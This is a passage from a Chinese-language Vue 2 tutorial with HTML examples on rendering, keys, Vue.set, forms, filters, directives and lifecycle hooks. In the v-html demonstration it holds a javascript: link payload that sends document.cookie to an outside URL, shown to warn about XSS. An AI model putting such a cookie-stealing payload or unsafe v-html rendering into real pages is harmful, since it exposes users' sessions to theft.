        <div class="basic" :class="classArr">{{name}}</div>
        <hr>

        绑定class样式--对象写法:
        <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
        <div class="basic" :class="classObj">{{name}}</div>
        <hr>

        绑定style样式--对象写法:
        <!-- 绑定style样式--对象写法 -->
        <div class="basic" :style="styleObj">{{name}}</div>
        <hr>

        绑定style样式--数组写法:
        <!-- 绑定style样式--数组写法 -->
        <div class="basic" :style="styleArr">{{name}}</div>

    </div>
    <style>
        /* 基本样式 */
        .basic {
            width: 300px;
            height: 100px;
            border: 1px solid black;
        }

        .vue {
            background-color: green;
        }

        .java {
            background-color: skyblue;
        }

        .php {
            background-color: lightpink;
        }

        /* 字体大小:30px */
        .shenzhen {
            font-size: 30px;
        }

        /* 水平对齐方式:居中对齐 */
        .beijing {
            color: red;
        }

        /* 字体颜色:红色 */
        .shanghai {
            text-align: center;
        }
    </style>
</body>

</html>

效果:

10、条件渲染

10.1 v-if

写法

v-if="表达式" 

v-else-if="表达式"

v-else="表达式"

适用于:切换频率较低的场景。

特点:不展示的DOM元素直接被移除。

注意:v-if 可以和 :v-else-if、v-else一起使用,但要求结构不能被“打断”。

10.2 v-show

写法:  v-show="表达式"

适用于:切换频率较高的场景。

特点:不展示的 DOM 元素未被移除,仅仅是使用样式隐藏掉。

备注:使用 v-if 的时,元素可能无法获取到,而使用 v-show 一定可以获取到。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>条件渲染</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {
            const vm = new Vue({
                el: "#income",
                data: {
                    name: "日薪月亿论坛",
                    n: 0
                }
            });
        }
    </script>
</head>

<body>
    <!-- 准备一个容器 -->
    <div id="income">
        <h2>我当前的月薪是:{{n}} 万</h2>
        <button @click="n++">点我可以涨薪</button>

        <!-- 使用 v-show 做条件渲染 -->
        <h3 v-show="true">欢迎来到:{{name}}</h3>
        <h3 v-show="false">你们聊,我隐身</h3>
        <h3 v-show="n === 3">月薪3万不是梦!</h3>

        <!-- 使用 v-if、v-else-if和v-else -->
        <div v-if="n === 1">月薪{{n}}万</div>
        <div v-else-if="n ===2">月薪{{n}}万</div>
        <!-- 要求结构不能被“打断”,下面一行代码位置不正确 -->
        <!-- <div>我在 v-if 中间插入某个元素,打断你们聊天!</div> -->
        <div v-else-if="n === 3">月薪{{n}}万</div>
        <div v-else>瞎扯!</div>

        <!-- v-if 与 template 配合使用 -->
        <template v-if="n === 2">
            <h2>在下面的城市可以轻松拿月薪{{n}}万</h2>
            <h3>北京</h3>
            <h3>上海</h3>
            <h3>深圳</h3>
        </template>

    </div>
</body>

</html>

效果:

11、列表渲染

11.1 v-for

1、v-for 的作用:用于展示列表数据

2、语法:

v-for="(item, index) in xxx"  :key="yyy"                  其中 in 可以替换为  of

3、可以遍历:数组、对象、字符串(用得比较少)、指定次数(用得很少)

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-for使用</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {
            const vm = new Vue({
                el: "#sport",
                data: {
                    ballArr: [
                        { id: "01", name: "足球", translate: "football" },
                        { id: "02", name: "篮球", translate: "basketball" },
                        { id: "03", name: "羽毛球", translate: "badminton" },
                    ],
                    dog: {
                        name: "旺财",
                        color: "黄色",
                        weight: "10斤"
                    },
                    str: "girl"
                }
            });
        }
    </script>
</head>

<body>
    <!-- 准备一个容器 -->
    <div id="sport">
        <h2>球类列表(遍历数组)</h2>
        <ul>
            <li v-for="(item, index) in ballArr" :key="item.id">
                {{item.name}} - {{item.translate}}
            </li>
        </ul>
        <hr>
        <h2>遍历狗的信息(遍历对象)</h2>
        <ul>
            <li v-for="(value, key) of dog" :key="key">
                {{key}} - {{value}}
            </li>
        </ul>
        <hr>
        <h2>遍历字符串 girl(用得较少)</h2>
        <ul>
            <li v-for="(item, index) of str" :key="index">
                {{item}} - {{index}}
            </li>
        </ul>
        <hr>
        <h2>遍历指定次数3次(用得较少)</h2>
        <ul>
            <li v-for="(item, index) of 3" :key="index">
                {{index}} - {{item}}
            </li>
        </ul>
    </div>
</body>

</html>

效果:

11.2 key 的原理

问:vue 中 key 有什么作用?

答:key 是虚拟 DOM 对象的标识,当数据发生变化时,Vue 会根据【新数据】生成【新的虚拟DOM】。

问:key 的内部原理是什么?

根据 key 进行【新虚拟DOM】与【旧虚拟DOM】的差异比较(Diff 算法),比较规则如下:

1、旧虚拟 DOM 中找到了与新虚拟 DOM 相同的 key

  1. 若虚拟 DOM 中内容没变,直接使用之前的真实 DOM
  2. 若虚拟 DOM 中内容变了,则生成新的真实 DOM,随后替换掉页面中之前的真实DOM。

2、旧虚拟 DOM 中未找到与新虚拟 DOM 相同的 key

  • 创建新的真实DOM,随后渲染到到页面

问:用 index 作为 key 可能会引发什么问题?

答:

1、若对数据进行:逆序添加、逆序删除等破坏顺序操作,会产生没有必要的真实 DOM 更新 最终效果是:界面效果没问题, 但效率低。

2、如果结构中还包含输入类的 DOM,会产生错误DOM更新,最终效果是:界面有问题。

问:开发中,如何选择 key?

答:

1、最好使用每条数据的唯一标识作为 ke。比如 id、手机号、身份证号、学号等唯一值。一般这些唯一值都是后台数据返回。

2、如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用 index 作为 key 是没有问题的。

反例演示:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>key原理</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {
            const vm = new Vue({
                el: "#sport",
                data: {
                    ballArr: [
                        { id: "01", name: "足球", translate: "football" },
                        { id: "02", name: "篮球", translate: "basketball" },
                        { id: "03", name: "羽毛球", translate: "badminton" },
                    ],
                    books: [
                        { id: "01", bookName: "水浒传", writer: "施耐庵" },
                        { id: "02", bookName: "三国演义", writer: "罗贯中" },
                        { id: "03", bookName: "西游记", writer: "吴承恩" },
                        { id: "04", bookName: "红楼梦", writer: "曹雪芹" },
                    ],
                },
                methods: {
                    //添加一个球类
                    addBall() {
                        const ball = { id: "004", name: "棒球", translate: "baseball" };
                        this.ballArr.unshift(ball);//unshift:在数组的开头添加一个或多个元素,而原有的元素则依次后移
                    },
                    //添加一个名著
                    addBook() {
                        const book = { id: "005", bookName: "孙子兵法", writer: "孙武" };
                        this.books.unshift(book);//unshift:在数组的开头添加一个或多个元素,而原有的元素则依次后移
                    }
                }
            });
        }
    </script>
</head>

<body>
    <!-- 准备一个容器 -->
    <div id="sport">
        <h2>球类列表(正确做法 key=id)</h2>
        <button @click.once="addBall">添加一个球类</button>
        <ul>
            <li v-for="(item, index) in ballArr" :key="item.id">
                {{item.name}} - {{item.translate}}
                <input type="text" placeholder="备注">
            </li>
        </ul>
        <hr>
        <h2 style="color:red">四大名著(错误做法 key=index)</h2>
        <button @click.once="addBook">添加一个名著</button>
        <ul>
            <li v-for="(item, index) in books" :key="index">
                {{item.bookName}} - {{item.writer}}
                <input type="text" placeholder="备注">
            </li>
        </ul>

    </div>
</body>

</html>

效果:先在“备注”输入框正常输入,然后分别点击按钮,在 key=index 中出现数据错位。

11.3 列表的筛选和排序

列表的筛选和排序,优先考虑使用“计算属性”来处理。

筛选主要是使用了数组的 filter 函数,排序主要是使用了数组的 sort 函数。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>列表过滤和排序</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {
            const vm = new Vue({
                el: "#fruit",
                data: {
                    keyWord: '',
                    sortType: 0,//排序:默认原顺序
                    fruitArr: [
                        { id: "01", name: "苹果", price: 10 },
                        { id: "02", name: "西瓜", price: 3 },
                        { id: "03", name: "香瓜", price: 12 },
                        { id: "04", name: "香蕉", price: 8 },
                        { id: "05", name: "芒果", price: 6 },
                    ],
                },
                //使用计算属性来处理比较好
                computed: {
                    filterFruitArr() {
                        const arr = this.fruitArr.filter((f) => {
                            return f.name.indexOf(this.keyWord) !== -1;
                        });
                        //判断是否需要排序
                        if (this.sortType >= 0) {
                            //sortType = 2 升序
                            if (this.sortType === 2) {
                                arr.sort((f1, f2) => {
                                    return f1.price - f2.price;//升序是前面减去后面
                                });
                            } else if (this.sortType === 1) {//sortType = 1 降序
                                arr.sort((f1, f2) => {
                                    return f2.price - f1.price;//降序是后面减去前面
                                });
                            }
                        }
                        return arr;//返回数组
                    },
                }
            });
        }
    </script>
</head>

<body>
    <!-- 准备一个容器 -->
    <div id="fruit">
        <h2>水果列表</h2>
        <input type="text" placeholder="请输入你要搜索的水果" v-model="keyWord">
        <button @click="sortType = 2">价格升序</button>
        <button @click="sortType = 1">价格降序</button>
        <button @click="sortType = 0">原顺序</button>
        <ul>
            <li v-for="(item, index) in filterFruitArr" :key="item.id">
                {{item.id}} - {{item.name}} - {{item.price}}
            </li>
        </ul>
    </div>
</body>

</html>

效果:

11.4 Vue 中 set 的使用

11.4.1、添加对象中没有的属性使用 vm.$set 或者 Vue.set

语法:Vue.set(target,propertyName/index,value)

例如:this.$set(this.info, "sex", "女");   或者 Vue.set(this.info, "sex", "女");

11.4.2 增删改数组中的元素

在 Vue 修改数组中的某个元素一定要用如下方法:

  • push():向数组的末尾添加一个或多个元素,并返回新的长度。
  • pop():删除并返回数组的最后一个元素。
  • shift():删除并返回数组的第一个元素。
  • unshift():向数组的开头添加一个或多个元素,并返回新的长度。
  • splice():通过删除现有元素和/或添加新元素来更改一个数组的内容。
  • sort():对数组的元素进行排序,并返回数组。排序不一定是稳定的。默认排序顺序是根据字符串Unicode码点。
  • reverse():颠倒数组中元素的顺序,并返回该数组。数组的第一个元素会变成最后一个,数组的最后一个元素变成第一个。
  • 或者使用 Vue.set() 或者 vm.$set()

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>set的使用</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {
            const vm = new Vue({
                el: "#archives",
                data: {
                    info: {
                        userName: "刘亦菲",
                        age: 18,
                        hobby: ["唱歌", "跳舞", "编程"],
                        courseArr: [
                            { courseName: "语文", score: 90 },
                            { courseName: "英语", score: 88 },
                        ]
                    },
                },
                methods: {
                    addSex() {//添加性别属性
                        this.$set(this.info, "sex", "女");
                        //或者使用
                        //Vue.set(this.info, "sex", "女");
                    },
                    updateSex(value) {//修改性别
                        this.info.sex = value;
                    },
                    addHobby() {//添加爱好
                        this.info.hobby.push("拍戏");
                    },
                    updateHobby(value) {//修改第一个爱好
                        this.$set(this.info.hobby, 0, value);
                        //或者使用
                        Vue.set(this.info.hobby, 0, value);
                        //或者使用
                        this.info.hobby.splice(0, 1, value);
                    },
                    removeCoding() {
                        this.info.hobby = this.info.hobby.filter((h) => {
                            return h !== "编程";
                        })
                    },
                    addCourse(value) {
                        this.info.courseArr.unshift(
                            { courseName: "物理", score: 85 }
                        );
                    },
                    updateFirstCourse() {
                        this.info.courseArr[0].courseName = "数学";
                    },
                }
            });
        }
    </script>
</head>

<body>
    <!-- 准备一个容器 -->
    <div id="archives">
        <h2>个人档案</h2>
        <h3>姓名:{{info.userName}}</h3>
        <h3 v-if="info.sex">性别:{{info.sex}}</h3>
        <h3>年龄:{{info.age}}</h3>
        <h3>爱好:</h3>
        <ul>
            <li v-for="(h, index) in info.hobby" :key="index">
                {{h}}
            </li>
        </ul>
        <h3>专业成绩:</h3>
        <ul>
            <li v-for="(c, index) in info.courseArr" :key="index">
                {{c.courseName}} —— {{c.score}}
            </li>
        </ul>
        <hr>
        <button @click="info.age++">年龄+1岁</button>
        <button @click="addSex">加性别字段</button>
        <button @click="updateSex('保密')">修改性别</button>
        <hr>
        <button @click="addHobby">添加一个爱好</button>
        <button @click="updateHobby('拍电影')">修改第一个爱好</button>
        <button @click="removeCoding">去掉爱好中的编程</button>
        <hr>
        <button @click="addCourse">添加一门课程</button>
        <button @click="updateFirstCourse('数学')">修改第一个课程为:数学</button>
    </div>
</body>

</html>

效果:

11.5 Vue 监视数据的原理

1、Vue 会监视 data 中所有层次的数据。

2、如果 data 中的数据是对象的形式,Vue 会通过 setter 方法实现监视,且要在 new Vue 时就传入要监视的数据 。

  1. 对象中,后面追加的属性,Vue 默认不做响应式处理。
  2. 如果需要给后面添加的属性做响应式处理,需要使用以下的 API:

          Vue.set(target,propertyName/index,value)   或者

          vm.$set(target,propertyName/index,value)

3、如何监视数组中的数据?

答:Vue 通过包裹数组更新元素的方法实现,本质上就是做了两件事:

1、调用原生 JavaScript 对应的处理数组的方法对数组进行更新

2、重新解析模板,从而更新页面

4、在 Vue 修改数组中的某个元素一定要用如下方法:

  • push():向数组的末尾添加一个或多个元素,并返回新的长度。
  • pop():删除并返回数组的最后一个元素。
  • shift():删除并返回数组的第一个元素。
  • unshift():向数组的开头添加一个或多个元素,并返回新的长度。
  • splice():通过删除现有元素和/或添加新元素来更改一个数组的内容。
  • sort():对数组的元素进行排序,并返回数组。排序不一定是稳定的。默认排序顺序是根据字符串Unicode码点。
  • reverse():颠倒数组中元素的顺序,并返回该数组。数组的第一个元素会变成最后一个,数组的最后一个元素变成第一个。
  • 或者使用 Vue.set() 或者 vm.$set()

5、特别要注意的是: Vue.set() 和 vm.$set() 不能给 vm 或者 vm 的根数据对象添加属性。也就是不能直接给 data 添加属性,需要再加多一层对象,比如:info、student、person 等等。否则会报错:

vue.js:5072 [Vue warn]: Avoid adding reactive properties to a Vue instance or its root $data at runtime - declare it upfront in the data option

12、收集表单数据

1、如果表单组件是 <input type="text"/> ,则 v-model 收集的是 value 的值,用户输入的就是 value 值。

2、如果表单组件是 <input type="radio"/> 单选框,则 v-model 收集的是 value 的值,需要给标签配置 value 值。

3、如果表单组件是 <input type="checkbox"/> 勾选框(复选框),分为2种情况:①没有配置 input 的 value 属性,那么收集的就是 checked(勾选和未勾选,布尔值);②配置了 input 的 value 属性,v-model 的初始值如果是非数组,那么也是收集 checked(勾选和未勾选,布尔值),如果是数组,那么收集的就是 value 组成的数组。

4、v-model 的三个修饰符:

  1. lazy:失去焦点再收集数据,避免频繁的收集数据
  2. number:输入字符串转为有效的数字,一般配合 input type="number" 一起使用
  3. trim:去掉首尾的空格

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>收集表单数据</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {
            const vm = new Vue({
                el: "#collectForm",
                data: {
                    info: {
                        account: "",
                        password: "",
                        age: 20,
                        sex: "male",
                        hobby: [],
                        city: "",
                        introduce: "",
                        agree: ""
                    },
                },
                methods: {
                    register() {//模拟注册信息
                        console.log(JSON.stringify(this.info));
                    }
                }
            });
        }
    </script>
</head>

<body>
    <!-- 准备一个容器 -->
    <div id="collectForm">
        <form @submit.prevent="register">
            <h2>注册信息</h2>
            账号:<input type="text" v-model.trim="info.account">
            <br>
            密码:<input type="password" v-model.trim="info.password">
            <br>
            年龄:<input type="number" v-model.number="info.age">
            <br>
            性别:
            男<input type="radio" name="sex" value="male" v-model="info.sex"></input>
            女<input type="radio" name="sex" value="female" v-model="info.sex"></input>
            <br>
            爱好:
            编程<input type="checkbox" v-model="info.hobby" value="coding">
            泡妞<input type="checkbox" v-model="info.hobby" value="chatWithGirl">
            逛街<input type="checkbox" v-model="info.hobby" value="shopping">
            <br>
            籍贯:
            <select v-model="info.city">
                <option value="">请选择省份</option>
                <option value="guangdong">广东</option>
                <option value="guangxi">广西</option>
                <option value="shandong">山东</option>
                <option value="shanxi">山西</option>
            </select>
            <br>
            自我介绍:
            <br>
            <textarea v-model.lazy="info.introduce" cols="30" rows="10"></textarea>
            <br>
            <input type="checkbox" v-model="info.agree">阅读并接受<a href="http://www.baidu.com">用户协议</a>
            <br>
            <button>提交表单</button>
        </form>
    </div>
</body>

</html>

效果:

13、过滤器

1、过滤器的定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

2、语法:

1、注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}

2、使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"

3、说明

1、过滤器也可以接收额外参数、多个过滤器也可以串联。

2、并没有改变原本的数据,是产生新的对应的数据。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>过滤器</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <!-- CDN 引入 day.js Day.js 是一个轻量的处理时间和日期的 JavaScript 库 -->
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.9/dayjs.min.js"></script>
    <script>
        window.onload = function () {//文档加载完成后执行
            //定义全局过滤器
            Vue.filter("globalFilter", function (value) {
                return value.slice(0, 4);
            })

            const vm1 = new Vue({
                el: "#filterContent",
                data: {
                    time: 1711968456323
                },
                computed: {
                    formatTime() {//计算属性实现
                        return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
                    }
                },
                methods: {//methods实现
                    getFormatTime() {
                        return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
                    }
                },
                //过滤器实现
                filters: {
                    filterTime(value, str = "YYYY年MM月DD日 HH:mm:ss") {
                        return dayjs(value).format(str);
                    }
                }
            });

            const vm2 = new Vue({
                el: "#globalContent",
                data: {
                    message: "春风又绿江南岸"
                }
            });
        }
    </script>

</head>

<body>
    <!-- 准备一个容器 -->
    <div id="filterContent">
        <h2>显示格式化后的时间</h2>
        <!-- 计算属性实现 -->
        <h3>计算属性实现,现在是:{{formatTime}}</h3>
        <!-- methods实现 -->
        <h3>methods实现,现在是:{{getFormatTime()}}</h3>
        <!-- 过滤器实现 -->
        <h3>过滤器实现,现在是:{{time | filterTime}}</h3>
        <!-- 过滤器实现(传参) -->
        <h3>过滤器实现(传参) ,现在是:{{time | filterTime('YYYY-MM-DD') | globalFilter}}</h3>
    </div>

    <div id="globalContent">
        <h2>全局过滤器截取前4位:{{ message | globalFilter}}</h2>
    </div>
</body>

</html>

效果:

14、内置指令 & 自定义指令

14.1 内置指令

我们之前提到的指令有:

  1. v-bind:单向绑定解析表达式(数据从 data 中流向页面),可以简写为 :xxx
  2. v-model:双向数据绑定(页面与 data 数据互通)
  3. v-for:遍历数组、对象、字符串等
  4. v-on:绑定事件的监听,可以简写为 @
  5. v-if:条件渲染,动态控制节点是否存在
  6. v-else:条件渲染,与 v-if 搭配使用
  7. v-show:条件渲染,动态控制节点是否展示

接下来,继续学习几个指令: 

1、v-text 指令

  • 作用:向其所在的节点中渲染文本内容。
  • 与插值语法的区别:v-text 会替换掉节点中的内容,{{xx}}则不会。

2、v-html 指令

  • 作用:向指定节点中渲染包含 html 结构的内容。
  • 与插值语法的区别:v-html会替换掉节点中所有的内容,{{xx}}则不会。v-html可以识别html结构。
  • v-html 有安全性问题!在网站上动态渲染任意 html 是非常危险的,容易导致 XSS 攻击。一定要在可信的内容上使用 v-html,永不要用在用户提交的内容上!

3、v-cloak 指令

  • v-cloak 指令没有值,本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
  • 使用 css 配合 v-cloak 可以解决网速慢时页面展示出 {{xxx}} 的问题。

4、v-once 指令

  • v-once 所在节点在初次动态渲染后,就视为静态内容了。
  • 以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能。

5、v-pre 指令

  • 跳过其所在节点的编译过程。
  • 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>内置指令</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {//文档加载完成后执行
            new Vue({
                el: "#instruct",
                data: {
                    k: 1,
                    good: "干得漂亮!",
                    nice: "<h3 style='color:red'>我是 v-text 指令!</h3>",
                    fine: "<h3 style='color:red'>我是 v-html 指令!</h3>",
                    well: '<a target="_blank" href=javascript:location.href="http://www.baidu.com?"+document.cookie>把 cookie 给你搂出来!</a>',
                }
            });
        }
    </script>

</head>

<body>
    <!-- 准备一个容器 -->
    <div id="instruct">
        <!-- v-text 指令渲染文本内容 -->
        <div v-text="good"></div>
        <div v-text="nice"></div>
        <hr>
        <!-- v-html 指令渲染包含html结构的内容 -->
        <div v-html="good"></div>
        <div v-html="fine"></div>
        <div v-html="well"></div>
        <hr>
        <!-- v-cloak 指令可以解决网速慢时页面展示出{{xxx}}的问题 -->
        <div v-cloak="good"></div>
        <hr>
        <!-- v-once 初次动态渲染后成为静态内容 -->
        <h3 v-once>刚毕业时工资是:{{k}}万</h3>
        <h3>现在的工资是是:{{k}}万</h3>
        <button @click="k++">点我可以涨薪</button>
        <hr>
        <!-- v-pre指令跳过所在节点的编译 -->
        <h3 v-pre>Vue看到我就直接跳过,不理睬</h3>
    </div>
</body>

</html>

效果:

14.2 自定义指令

1、语法

1、局部指令

new Vue({
  directives:{指令名:配置对象}
})

或者

new Vue({
  directives:{指令名:回调函数}
})

2、全局指令

Vue.directive(指令名,配置对象)
或者
Vue.directive(指令名,回调函数)

2、配置对象中常用的3个回调

1、.bind(element, binding):指令与元素成功绑定时调用。

2、.inserted(element, binding):指令所在元素被插入页面时调用。

3、.update(element, binding):指令所在模板结构被重新解析时调用。

3、备注

1、指令定义时不加v-,但使用时要加 v-

2、指令名如果是多个单词,要使用 kebab-case 命名方式,不要用 camelCase 驼峰命名。如:focus-bind,且在 js 中的方法名要用引号包住。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>自定义指令</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        /*
        需求1:定义一个 v-square 指令,把绑定的数值求平方。
        需求2:定义一个 v-focus-bind 指令,也是求平方,但是每次都要获取页面焦点
        */

        window.onload = function () {//文档加载完成后执行
            //可以创建全局的自定义指令
            /*
            Vue.directive("focus-bind", {
                //指令与元素成功绑定时(页面初始化)
                bind(element, binding) {
                    element.value = binding.value * binding.value;//求平方
                },
                //指令所在元素被插入页面时
                inserted(element, binding) {
                    element.focus();//获得焦点
                },
                //指令所在的模板被重新解析时
                update(element, binding) {
                    element.value = binding.value * binding.value;//求平方
                    element.focus();//获得焦点
                }
            });
            */


            new Vue({
                el: "#instruct",
                data: {
                    m: 1,
                },
                //自定义指令使用的函数
                directives: {
                    //简写的方式
                    square(element, binding) {
                        console.log("square", this);//注意此处的 this 是 window,而不是 Vue
                        element.innerText = binding.value * binding.value;//求平方
                    },
                    //完整写法
                    //如果出现连接符号,需要使用引号把字符串包起来
                    "focus-bind": {
                        //指令与元素成功绑定时(页面初始化)
                        bind(element, binding) {
                            element.value = binding.value * binding.value;//求平方
                        },
                        //指令所在元素被插入页面时
                        inserted(element, binding) {
                            element.focus();//获得焦点
                        },
                        //指令所在的模板被重新解析时
                        update(element, binding) {
                            element.value = binding.value * binding.value;//求平方
                            element.focus();//获得焦点
                        }
                    }
                }
            });
        }
    </script>

</head>

<body>
    <!-- 准备一个容器 -->
    <div id="instruct">
        <h2>当前 m 的值为:{{m}}</h2>
        <h2>m 的平方为:<span v-square="m"></span></h2>
        <button @click="m++">点我工资 m+1</button>
        <hr>
        m 的平方为(获得焦点):<input type="text" v-focus-bind:value="m">
    </div>
</body>

</html>

效果:

15、生命周期

15.1 生命周期的概念

Vue 的生命周期,又叫:生命周期回调函数、生命周期函数或者生命周期钩子。

15.2 生命周期的作用是什么?

Vue在关键时刻帮我们调用的一些特殊名称的函数,让程序员可以在这些特殊的函数执行特定的逻辑。

另外

1、生命周期的函数名字是不可更改的,是 Vue 体系中定义好的,但函数的具体逻辑可以由程序员根据需求来编写。

2、生命周期函数中的 this 指向是 vm 或组件实例对象。

15.3 生命周期涉及到的函数

通常,Vue 的生命周期中主要涉及 8 个函数,也称 4 对函数(成对出现),分别是:

  1. beforeCreate():初始化:事件和生命周期。此时数据代理还未开始(也就是 vm 还没有创建好),无法通过 vm 访问到 data 中的数据以及 methods 中的数据和其它 vm 中的数据。

  2. created():初始化完成:数据监测、数据代理。此时,可以通过 vm 访问到 data 中的数据,methods 中的配置方法等。

  3. beforeMount():初始化挂载。此时 vm 在内存中生成虚拟 DOM,页面呈现的是未经过 Vue 编译的 DOM 结构,页面还不能显示解析好的内容。所有对 DOM 的操作都将被 vm 在后续编译出来的 DOM 覆盖。

  4. mounted():挂载完成。此时页面中呈现的是经过 vm 编译的 DOM,对 DOM 的操作均有效。至此初始化完成,一般后续会进行:开启定时器、发送网络请求、订阅消息、绑定自定义事件等操作。

  5. beforeUpdate():数据更新之前。此时,数据在 vm 的内存中是新的,但是页面仍然是旧的。新的虚拟 DOM 与旧的虚拟 DOM 通过 DIFF 算法进行比较,并进行 Model ——> View 的更新。

  6. updated():数据更新完成。此时 vm 中的数据是新的,页面也是新的,即完成了页面和数据的同步。

  7. beforeDestroy():销毁之前。此时 vm 中所有的 data、methods、指令等还处于可用状态,但是不再更新到页面!马上要执行销毁过程。一般在此阶段,会关闭定时器、取消订阅消息、解绑自定义事件等收尾工作。

  8. destroyed():销毁完成。此时 vm 不复存在,原来受 vm 管控的数据和组件等等全部失效。但是不影响非 vm 管控的内容。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>生命周期</title>
    <!-- 本地引入 vue.js 库 -->
    <script src="../js/vue.js"></script>
    <script>
        window.onload = function () {//文档加载完成后执行
            new Vue({
                el: "#lifeCycle",
                data: {
                    poetry: "少壮不努力,老大徒伤悲",
                    k: 1,
                },
                methods: {
                    add() {
                        console.log("点击了 add");
                        this.k++;
                    },
                    goodbye() {
                        console.log("点击了 goodbye");
                        this.$destroy();
                    }
                },
                watch: {
                    k() {
                        console.log("检测到 k 变化了");
                    }
                },
                //初始化:事件和生命周期
                beforeCreate() {
                    console.log("beforeCreate:此时数据代理还未开始,无法通过 vm 访问到 data 中的数据以及 methods 中的数据和其它 vm 中的数据。");
                },
                //初始化完成:数据监测、数据代理
                created() {
                    console.log("created:此时,可以通过 vm 访问到 data 中的数据,methods 中的配置方法等。");
                },
                //初始化挂载
                beforeMount() {
                    console.log("beforeMount:此时 vm 在内存中生成虚拟 DOM,页面呈现的是未经过 Vue 编译的 DOM 结构,页面还不能显示解析好的内容。所有对 DOM 的操作都将被 vm 在后续编译出来的 DOM 覆盖。");
                },
                //挂载完成
                mounted() {
                    console.log("mounted:此时页面中呈现的是经过 vm 编译的 DOM,对 DOM 的操作均有效。至此初始化完成,一般后续会进行:开启定时器、发送网络请求、订阅消息、绑定自定义事件等操作。");
                },
                //数据更新之前
                beforeUpdate() {
                    console.log("beforeUpdate:此时,数据在 vm 的内存中是新的,但是页面仍然是旧的。新的虚拟 DOM 与旧的虚拟 DOM 通过 DIFF 算法进行比较,并进行 Model ——> View 的更新。");
                },
                //数据更新完成
                updated() {
                    console.log("updated:此时 vm 中的数据是新的,页面也是新的,即完成了页面和数据的同步。");
                },
                //销毁之前
                beforeDestroy() {
                    this.add();
                    console.log("调用 add 方法,此时的 k=" + this.k);
                    console.log("beforeDestroy:此时 vm 中所有的 data、methods、指令等还处于可用状态,但是不再更新到页面!马上要执行销毁过程。一般在此阶段,会关闭定时器、取消订阅消息、解绑自定义事件等收尾工作。");
                },
                //销毁完成
                destroyed() {
                    console.log("destroyed:销毁完成,此时 vm 不复存在,原来受 vm 管控的数据和组件等等全部失效。但是不影响非 vm 管控的内容。");
                }
            });
        }
    </script>

</head>

<body>
    <!-- 准备一个容器 -->
    <div id="lifeCycle">
        <h2>当前工资是:{{k}}万</h2>
        <h2>{{poetry}}</h2>
        <button @click="add">点我可以涨薪</button>
        <button @click="goodbye">点我离职</button>
    </div>
</body>

</html>

效果:

说明:

在销毁阶段 beforeDestroy(),即使我们再调用 add 方法,让 k 值增加,但是,vm 并不会再更新到页面中,因为它觉得这个阶段再去做一些更新操作也是徒劳。而是做一些收尾的工作。比如关闭定时器、取消订阅消息等等。春蚕到死丝方尽,蜡炬成灰泪始干。

原理图:

关于销毁 Vue 实例

1、销毁后借助 Vue 开发者工具看不到任何信息。

2、销毁后,自定义事件会失效,但原生 DOM 事件依然有效。

3、一般不会在 beforeDestroy 操作数据,因为即便操作数据,也不会再触发更新流程了。

 — end —


网站公告

今日签到

点亮在社区的每一天
去签到